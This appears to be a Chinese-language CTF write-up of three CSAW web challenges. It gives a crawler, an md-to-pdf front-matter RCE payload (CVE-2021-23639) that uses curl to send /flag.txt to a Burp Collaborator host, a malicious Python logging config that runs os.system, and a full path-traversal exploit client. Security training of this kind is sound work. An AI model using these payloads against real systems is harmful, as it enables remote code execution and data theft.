Word Wide Web

打开访问一下大堆,大概是爬虫访问。

image-20220914183815066

写个爬虫所有有 <a href="(.*?)">(.*?)</a> 都访问下

import re
import requests

url = 'http://web.chal.csaw.io:5010/'
session = requests.Session()
def getAll():
    target = 'stuff'
    while True:
        result = session.get(url + target).text
        target = re.findall('<a href="/(.*?)">', result)
        if target == []:
            print(result)
            break
        else:
            target = target[0]
        print(re.findall('<h1>(.*?)</h1>', result))  
if __name__ == '__main__':
    getAll()

image-20220914191237029

My little website

网站是个 markdown 转 pdf的功能,尝试渲染html和js都能成功

<iframe src="/" width="400" height="600"></iframe>
<script>document.write("Test Success!!")</script>

image-20220914192358934

但 flag 在根目录,没法访问到。

读源码发现是用了 md-to-pdf 这个库

image-20220914192448194

网上找找有没有这个库的RCE

还真有 CVE-2021-23639

---js
((require("child_process")).execSync("whoami"))
---RCE

但不会回显,用 curl 外带出来

---js
((require("child_process")).execSync("curl -d `cat /flag.txt` https://bs7gim4c66g802zhk4dmgm712s8kw9.burpcollaborator.net"))
---RCE

image-20220914193505707

Good Intentions

题目竟然给了api文档

有个可执行命令的api /run_command ,但需要管理员登录才可以

无法注册 admin ,数据库初始化的时候就已经创建好admin了

image-20220914194951714

继续审计 routes.py 中的代码

发现也给了 hint

#One of the volunteers keeps messing with the logger config. Doing this as a temporary fix so I can fix remotely...
#If you're the one doing it and reading this, please stop.
# 上面注释已经说了这里有漏洞	
@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    file_name = data.get('filename', '') 
    # 发现加载日志配置存在漏洞,可加载任意文件作为配置文件
    logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")  # ../../

    return response(data)

翻阅 logging.config 的官方文档 发现

image-20220914200058028

不过都是跑在 docker 里,端口没暴露出来

在找找这个加载配置文件有啥漏洞吧

一搜一大把

image-20220914233050771

搜索技巧,中文搜索不到的话用 英文+goole

格式 ( xxx vulnerable) (xxxxx RCE) 等 ,很有效,大概

好了,回到这题,参考

https://raj3shp.medium.com/python-security-logging-config-code-execution-e45660bc230e

设置配置文件

test.conf:

[loggers]
keys=root,simpleExample

[handlers]
keys=consoleHandler

[formatters]
keys=simpleFormatter

[logger_root]
level=DEBUG
handlers=consoleHandler

[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0

[handler_consoleHandler]
# 可执行任意命令 ,将执行的命令的结果写入静态目录中,可直接读取
class=__import__('os').system('cat /flag.txt > /app/application/static/docs/cmd.txt')
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)

[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s

稍微修改下它给的api

exp:

# Sample API client for users who want to get started helping us collect and label space pictures!

import requests 
import json

api_url = "http://localhost:1337/"
username = "aaa"
password = "123"

image_file = "test.conf"
label = "test"


def register(username, password):

    url = api_url + "/api/register"

    payload = json.dumps({
       "username": username,
       "password": password 
    })

    headers = {
        'Content-Type': 'application/json'
    }

    response = requests.request("POST", url, headers=headers, data=payload)

    return response

def login(username, password):

    url = api_url + "/api/login"

    payload = json.dumps({
        "username": username,
        "password": password
    })

    headers = {
        'Content-Type': 'application/json'
    }

    connection = requests.Session()

    response = connection.request("POST", url, headers=headers, data=payload)

    return response,connection

def upload(connection, filename, label):

    url = api_url + "/api/upload"

    with open(filename, "rb") as f:
        data = f.read()

    files = {'file': data}
    #Edit the label appropriately
    values = {'label': label}

    response = connection.request("POST", url, files=files, data=values)

    return response

def gallery(connetion):
    url = api_url + "/api/gallery"
    return connetion.get(url)

def log_config(connection, filename):
    url = api_url + "/api/log_config"
    logConf = {"filename": "../images/" + filename}
    connection.post(url, json=logConf)
    
def readCmd(connection):
    url = api_url + "static/docs/cmd.txt"
    return connection.get(url)

def main():
    
    response = register(username, password)

    print(response.text)

    response, connection = login(username, password)

    print(response.text)

    response = upload(connection, image_file, label)

    print(response.text)
    
    response = gallery(connection)
    
    print(response.text)
    
    log_config(connection, json.loads(response.text)["message"][-1])
    
    response = readCmd(connection)
    
    print(response.text)


if __name__ == "__main__":
    main()

得到

image-20220915000905109